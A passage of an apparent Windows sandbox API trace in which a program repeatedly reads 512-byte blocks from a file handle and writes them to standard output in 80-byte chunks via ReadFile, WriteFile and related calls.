lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.012] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.012] GetFileType (hFile=0x90) returned 0x1 [0302.012] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.012] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.012] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.012] GetFileType (hFile=0x90) returned 0x1 [0302.012] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.012] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.013] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.013] GetFileType (hFile=0x90) returned 0x1 [0302.013] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.013] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.013] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.013] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.013] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.013] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.013] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.013] GetFileType (hFile=0x90) returned 0x1 [0302.013] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.013] GetFileType (hFile=0x90) returned 0x1 [0302.013] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.013] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.013] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.013] GetFileType (hFile=0x90) returned 0x1 [0302.013] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.013] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.013] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.013] GetFileType (hFile=0x90) returned 0x1 [0302.013] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.013] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.014] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.014] GetFileType (hFile=0x90) returned 0x1 [0302.014] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.014] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.014] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.014] GetFileType (hFile=0x90) returned 0x1 [0302.014] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.014] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.014] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.014] GetFileType (hFile=0x90) returned 0x1 [0302.014] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.014] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.014] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.014] GetFileType (hFile=0x90) returned 0x1 [0302.014] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.014] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.014] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.014] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.014] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.014] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.014] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.014] GetFileType (hFile=0x90) returned 0x1 [0302.014] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.014] GetFileType (hFile=0x90) returned 0x1 [0302.014] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.014] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.015] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.015] GetFileType (hFile=0x90) returned 0x1 [0302.015] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.015] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.015] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.015] GetFileType (hFile=0x90) returned 0x1 [0302.015] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.015] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.015] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.015] GetFileType (hFile=0x90) returned 0x1 [0302.015] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.015] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.015] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.015] GetFileType (hFile=0x90) returned 0x1 [0302.015] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.015] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.015] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.015] GetFileType (hFile=0x90) returned 0x1 [0302.015] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.015] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.015] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.015] GetFileType (hFile=0x90) returned 0x1 [0302.015] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.015] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.016] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.016] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.016] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.016] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.016] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.016] GetFileType (hFile=0x90) returned 0x1 [0302.016] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.016] GetFileType (hFile=0x90) returned 0x1 [0302.016] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.016] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.016] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.016] GetFileType (hFile=0x90) returned 0x1 [0302.016] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.016] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.016] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.016] GetFileType (hFile=0x90) returned 0x1 [0302.016] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.016] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.016] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.016] GetFileType (hFile=0x90) returned 0x1 [0302.016] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.016] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.016] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.016] GetFileType (hFile=0x90) returned 0x1 [0302.017] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.017] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.017] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.017] GetFileType (hFile=0x90) returned 0x1 [0302.017] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.017] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.017] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.017] GetFileType (hFile=0x90) returned 0x1 [0302.017] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.017] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.017] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.017] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.017] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.017] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.017] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.017] GetFileType (hFile=0x90) returned 0x1 [0302.017] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.017] GetFileType (hFile=0x90) returned 0x1 [0302.017] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.017] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.017] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.018] GetFileType (hFile=0x90) returned 0x1 [0302.018] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.018] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.018] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.018] GetFileType (hFile=0x90) returned 0x1 [0302.018] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.018] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.020] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.020] GetFileType (hFile=0x90) returned 0x1 [0302.020] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.020] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.020] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.020] GetFileType (hFile=0x90) returned 0x1 [0302.020] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.020] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.020] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.020] GetFileType (hFile=0x90) returned 0x1 [0302.020] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.020] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.020] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.020] GetFileType (hFile=0x90) returned 0x1 [0302.021] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.021] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.021] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.021] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.021] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.021] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.021] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.021] GetFileType (hFile=0x90) returned 0x1 [0302.021] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.021] GetFileType (hFile=0x90) returned 0x1 [0302.021] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.021] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.021] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.021] GetFileType (hFile=0x90) returned 0x1 [0302.021] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.021] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.021] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.021] GetFileType (hFile=0x90) returned 0x1 [0302.021] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.021] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.021] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.021] GetFileType (hFile=0x90) returned 0x1 [0302.021] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.021] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.022] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.022] GetFileType (hFile=0x90) returned 0x1 [0302.022] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.022] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.022] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.022] GetFileType (hFile=0x90) returned 0x1 [0302.022] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.022] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.022] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.022] GetFileType (hFile=0x90) returned 0x1 [0302.022] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.022] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.022] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.022] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.022] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.022] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.022] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.022] GetFileType (hFile=0x90) returned 0x1 [0302.022] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.022] GetFileType (hFile=0x90) returned 0x1 [0302.022] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.022] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.022] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.022] GetFileType (hFile=0x90) returned 0x1 [0302.023] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.023] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.023] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.023] GetFileType (hFile=0x90) returned 0x1 [0302.023] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.023] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.023] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.023] GetFileType (hFile=0x90) returned 0x1 [0302.023] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.023] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.023] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.023] GetFileType (hFile=0x90) returned 0x1 [0302.023] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.023] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.023] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.023] GetFileType (hFile=0x90) returned 0x1 [0302.023] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.023] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.023] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.023] GetFileType (hFile=0x90) returned 0x1 [0302.023] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.023] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.023] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.024] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.024] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.024] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.024] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.024] GetFileType (hFile=0x90) returned 0x1 [0302.024] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.024] GetFileType (hFile=0x90) returned 0x1 [0302.024] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.024] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.024] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.024] GetFileType (hFile=0x90) returned 0x1 [0302.024] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.024] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.024] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.024] GetFileType (hFile=0x90) returned 0x1 [0302.024] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.024] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.024] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.024] GetFileType (hFile=0x90) returned 0x1 [0302.024] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.024] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.024] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.024] GetFileType (hFile=0x90) returned 0x1 [0302.025] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.025] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.025] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.025] GetFileType (hFile=0x90) returned 0x1 [0302.025] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.025] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.025] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.025] GetFileType (hFile=0x90) returned 0x1 [0302.025] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.025] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, 